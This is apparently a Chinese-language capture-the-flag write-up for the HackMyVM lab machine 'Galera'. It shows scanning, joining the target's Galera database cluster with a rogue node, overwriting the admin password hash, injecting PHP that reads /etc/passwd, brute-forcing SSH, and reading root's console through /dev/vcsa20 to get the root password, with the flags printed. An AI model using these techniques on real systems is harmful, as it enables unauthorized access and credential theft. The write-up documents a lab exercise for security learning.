<h1>Galera.</h1>
<blockquote>
<a href="https://hackmyvm.eu/machines/machine.php?vm=Galera">https://hackmyvm.eu/machines/machine.php?vm=Galera</a>
</blockquote>
Notes：Galera is a challenge in which hackers must infiltrate a ...
<h2>前期踩点</h2>
<pre><code class="hljs language-bash">➜ Galera nmap -sP 192.168.56.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-30 23:57 CST
Nmap scan report for 192.168.56.1
Host is up (0.00014s latency).
MAC Address: 0A:00:27:00:00:09 (Unknown)
Nmap scan report for 192.168.56.2
Host is up (0.00022s latency).
MAC Address: 08:00:27:13:DD:59 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.66
Host is up (0.00030s latency).
MAC Address: 08:00:27:8F:84:E1 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.5
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 27.98 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ Galera nmap -sT -min-rate 10000 192.168.56.66
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-30 23:58 CST
Nmap scan report for 192.168.56.66
Host is up (0.00081s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
4567/tcp open tram
MAC Address: 08:00:27:8F:84:E1 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.26 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ Galera nmap -sT -A 192.168.56.66
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-31 00:00 CST
Nmap scan report for 192.168.56.66
Host is up (0.00042s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
| 256 28:50:32:2f:bb:ef:7e:51:c3:59:cb:e6:40:88:0e:4e (ECDSA)
|_ 256 f3:fa:a1:84:c6:da:fc:09:fe:aa:ca:ec:0a:29:7d:30 (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: Login
|_http-server-header: Apache/2.4.62 (Debian)
4567/tcp open tram?
| fingerprint-strings:
| GenericLines:
| )ALz
| GetRequest:
| ,6_V
| HTTPOptions:
|_ N\rjt
....
MAC Address: 08:00:27:8F:84:E1 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.42 ms 192.168.56.66

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.59 seconds
</code></pre>
<h2>4567 - Galera</h2>
扫描到一个没见过的端口，搜索引擎上线！！
<img src="/post-images/HackMyVMGalera/image.png" alt="image.png">
可以看到搜索结果都是带着靶机的名字，所以该端口应该就是突破口
通过了解后知道：Galera 复制是基于同步多源 MariaDB Galera集群 
<blockquote>
<a href="https://docs.redhat.com/zh-cn/documentation/red_hat_enterprise_linux/9/html/configuring_and_using_database_servers/replicating-mariadb-with-galera_using-mariadb">https://docs.redhat.com/zh-cn/documentation/red_hat_enterprise_linux/9/html/configuring_and_using_database_servers/replicating-mariadb-with-galera_using-mariadb</a>
</blockquote>
MariaDB Galera 集群 的主要特性是 ：
<ul>
<li>同步复制</li>
<li>主动-主动多源拓扑</li>
<li>对任何集群节点的读和写</li>
<li>自动成员资格控制，故障节点从集群中删除</li>
<li>自动节点加入</li>
<li>行一级的并行复制</li>
<li>直接客户端连接：用户可以登录到集群节点，并在复制运行时直接使用这些节点</li>
</ul>
大概就是我们可以尝试将自己加入到集群中，然后就可以访问源数据库中的数据
<pre><code class="hljs language-bash">➜ Galera cp /etc/mysql/mariadb.conf.d/60-galera.cnf /etc/mysql/mariadb.conf.d/60-galera.cnf.bak
</code></pre>
根据<code>GPT</code>生成的配置（将需要指定的配置全都删掉了）
<pre><code class="hljs language-bash">[galera]
wsrep_on = ON
wsrep_provider = /usr/lib/galera/libgalera_smm.so
wsrep_cluster_address = "gcomm://192.168.56.66:4567"
wsrep_node_name = "sunset"
wsrep_node_address = "192.168.56.5" # 本机IP
binlog_format = row
default_storage_engine = InnoDB
wsrep_sst_method = rsync
bind-address = 0.0.0.0
</code></pre>
重启数据库
<pre><code class="hljs language-bash">➜ Galera systemctl restart mariadb
</code></pre>
然后登录进去数据库，能看到同步过来了<code>galeradb</code> 数据库
<pre><code class="hljs language-bash">➜ Galera mysql -uroot -p
Enter password: 
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 9
Server version: 11.8.1-MariaDB-4 Debian n/a

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| galeradb |
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.006 sec)

MariaDB [(none)]> 
</code></pre>
能找到用户表
<pre><code class="hljs language-bash">MariaDB [galeradb]> select * from users;
+----+----------+------------------+--------------------------------------------------------------+---------------------+
| id | username | email | password | created_at |
+----+----------+------------------+--------------------------------------------------------------+---------------------+
| 1 | admin | admin@galera.hmv | $2y$10$BCAQ6VSNOL9TzfE5/dnVmuc9R5PotwClWAHwRdRAt7RM0d9miJRzq | 2025-05-05 07:55:51 |
+----+----------+------------------+--------------------------------------------------------------+---------------------+
1 row in set (0.002 sec)
</code></pre>
我们不爆破了，直接更新其密码
<img src="/post-images/HackMyVMGalera/image1.png" alt="image.png">
<pre><code class="hljs language-bash">MariaDB [galeradb]> update users set password = '$2a$10$xxFez17bX.RtTFPdER3.P.KmUtS6XYxkOrbXH7p65WzB4H2AFQpCi' where username = 'admin';
Query OK, 1 row affected (0.004 sec)
Rows matched: 1 Changed: 1 Warnings: 0
</code></pre>
<h2>Web 渗透</h2>
更新密码后，我们的到了新的用户，应该是在<code>Web</code> 上能用上的
访问 <code>80</code> 端口
<img src="/post-images/HackMyVMGalera/image2.png" alt="image.png">
存在登录框，我们使用刚刚得到的用户进行登录
成功进入到后台，后台是有一个能发布信息的功能，但是貌似没什么用处
<img src="/post-images/HackMyVMGalera/image3.png" alt="image.png">
先对其进行目录扫描
<pre><code class="hljs language-bash">➜ Galera feroxbuster --url http://192.168.56.66 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --filter-status 404,403 -x php,zip,txt

 ___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯 Target Url │ http://192.168.56.66
 🚀 Threads │ 50
 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 💢 Status Code Filters │ [404, 403]
 💥 Timeout (secs) │ 7
 🦡 User-Agent │ feroxbuster/2.11.0
 💉 Config File │ /etc/feroxbuster/ferox-config.toml
 🔎 Extract Links │ true
 💲 Extensions │ [php, zip, txt]
 🏁 HTTP methods │ [GET]
 🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
 🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l 31w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 278c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 62l 115w 1055c http://192.168.56.66/style.css
200 GET 26l 57w 825c http://192.168.56.66/index.php
302 GET 0l 0w 0c http://192.168.56.66/login.php => http://192.168.56.66/
301 GET 9l 28w 315c http://192.168.56.66/upload => http://192.168.56.66/upload/
200 GET 10495l 65816w 5238944c http://192.168.56.66/galera.png
200 GET 26l 57w 825c http://192.168.56.66/
200 GET 861l 4482w 77306c http://192.168.56.66/info.php
302 GET 0l 0w 0c http://192.168.56.66/logout.php => index.php
200 GET 0l 0w 0c http://192.168.56.66/config.php
[####################] - 4m 1764404/1764404 0s found:9 errors:2
[####################] - 4m 882184/882184 3335/s http://192.168.56.66/
[####################] - 4m 882184/882184 3314/s http://192.168.56.66/upload/
</code></pre>
访问 <code>info.php</code> ，是 <code>phpinfo()</code>的输出
<img src="/post-images/HackMyVMGalera/image4.png" alt="image.png">
也没拿到什么有用的信息
本来想测试 <code>Message</code> 的信息会不会写入表中然后同步，但是也并没有
然后可以注意到，后台中输出的用户信息只有用户的邮箱，因此这里可能会存在注入或者 PHP 代码执行等漏洞，我们对其进行<code>Fuzz</code> ，最后发现其可以解析 <code>PHP</code>语句
<pre><code class="hljs language-bash">MariaDB [galeradb]> select * from users;
+----+----------+----------------------+--------------------------------------------------------------+---------------------+
| id | username | email | password | created_at |
+----+----------+----------------------+--------------------------------------------------------------+---------------------+
| 1 | admin | &#x3C;?php echo "test";?> | $2a$10$xxFez17bX.RtTFPdER3.P.KmUtS6XYxkOrbXH7p65WzB4H2AFQpCi | 2025-05-05 07:55:51 |
+----+----------+----------------------+--------------------------------------------------------------+---------------------+
1 row in set (0.001 sec)
</code></pre>
<img src="/post-images/HackMyVMGalera/image5.png" alt="image.png">
但是从之前 <code>phpinfo</code> 的信息中能看到有很多限制，基本都<code>ban</code>掉了
<img src="/post-images/HackMyVMGalera/image6.png" alt="image.png">
虽然给禁用了很多的命令执行函数，可以尝试绕过
我们再看一下伪协议
<img src="/post-images/HackMyVMGalera/image7.png" alt="image.png">
读取文件的伪协议没有被禁用
<pre><code class="hljs language-bash">&#x3C;?php include('php://filter/convert.base64-encode/resource=/etc/passwd');?>
</code></pre>
<pre><code class="hljs language-bash">MariaDB [galeradb]> update users set email = "&#x3C;?php include('php://filter/convert.base64-encode/resource=/etc/passwd');?>" where username = 'admin';
Query OK, 1 row affected (0.006 sec)
Rows matched: 1 Changed: 1 Warnings: 0
</code></pre>
成功读取
<img src="/post-images/HackMyVMGalera/image8.png" alt="image.png">
解码后发现一个新用户 <code>donjuandeaustria</code>
<img src="/post-images/HackMyVMGalera/image9.png" alt="image.png">
<h2>Hydra</h2>
拿<code>shell</code>很麻烦，所以我直接超级爆破
一段时间后密码就出来了 <code>amorcito</code>
<img src="/post-images/HackMyVMGalera/image10.png" alt="image.png">
登录进去后能读取 <code>user.txt</code>
<pre><code class="hljs language-bash">donjuandeaustria@galera:~$ ls
donjuandeaustria.png user.txt

donjuandeaustria@galera:~$ cat user.txt 
072f9d8c26547db59e65d7aa3e55747b
</code></pre>
<h2>提权</h2>
当前目录下还有一张图片，尝试从文件中截取数据
<pre><code class="hljs language-bash">➜ Galera binwalk donjuandeaustria.png 

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 1024 x 1024, 8-bit/color RGB, non-interlaced
1195 0x4AB Certificate in DER format (x509 v3), header length: 4, sequence length: 819
2021 0x7E5 Certificate in DER format (x509 v3), header length: 4, sequence length: 1146
14398 0x383E JPEG image data, JFIF standard 1.02
65084 0xFE3C Certificate in DER format (x509 v3), header length: 4, sequence length: 819
65910 0x10176 Certificate in DER format (x509 v3), header length: 4, sequence length: 1146
78457 0x13279 Zlib compressed data, default compression
</code></pre>
没有收获，继续寻找
发现 <code>root</code> 用户登录在 <code>tty20</code> 中
<pre><code class="hljs language-bash">donjuandeaustria@galera:/dev$ users 
donjuandeaustria root
donjuandeaustria@galera:/dev$ who
root tty20 2025-05-31 05:45
donjuandeaustria pts/0 2025-05-31 07:47 (192.168.56.5)
</code></pre>
并且我们属于 <code>tty</code> 组
<pre><code class="hljs language-bash">donjuandeaustria@galera:/dev$ id
uid=1000(donjuandeaustria) gid=1000(donjuandeaustria) groups=1000(donjuandeaustria),5(tty),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
</code></pre>
我们直接查看 <code>root</code> 用户的终端内容
<pre><code class="hljs language-bash">donjuandeaustria@galera:/dev$ cat vcsa20
</code></pre>
其中部分能得到 <code>root</code> 密码
<pre><code class="hljs language-bash">Reminder: your root password is 'saG58zJxs8crgQa366Uw' 
</code></pre>
<code>root.txt</code>
<pre><code class="hljs language-bash">root@galera:~# cat root.txt
6a0d424c13321ca6e3b2deb2295fcc26
</code></pre>

HackMyVM - Galera

HackTheBox - Machine - Cap

Personal - sunset